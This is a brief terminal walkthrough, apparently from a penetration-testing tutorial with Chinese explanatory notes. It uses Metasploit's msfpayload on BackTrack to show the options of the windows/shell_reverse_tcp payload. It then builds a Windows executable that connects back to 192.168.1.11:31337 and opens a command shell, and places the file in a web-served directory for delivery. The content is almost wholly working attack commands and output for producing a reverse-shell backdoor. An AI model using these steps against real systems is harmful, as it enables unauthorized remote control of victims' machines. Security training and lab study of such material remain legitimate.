root@bt:~# msfpayload windows/shell_reverse_tcp O
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Version: 14774
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Description:
Connect back to attacker and spawn a command shell
root@bt:~#
输入的命令,不是数字0,而是字母O,大写的O。
上面的命令是显示攻击载荷生成器有哪些选项。
然后生成exe文件:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=31337 X > /var/www/payload1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"LHOST"=>"192.168.1.11", "LPORT"=>"31337"}
root@bt:~# ll /var/www/
total 77
drwxr-xr-x 3 root root 60 2013-04-28 03:52 ./
drwxr-xr-x 20 root root 120 2011-06-08 09:16 ../
-rw-r--r-- 1 root root 177 2011-05-10 03:45 index.html
-rw-r--r-- 1 root root 73802 2013-04-28 03:52 payload1.exe
drwxr-xr-x 2 root root 465 2011-05-10 03:44 wstool/
root@bt:~# file /var/www/payload1.exe
/var/www/payload1.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
root@bt:~#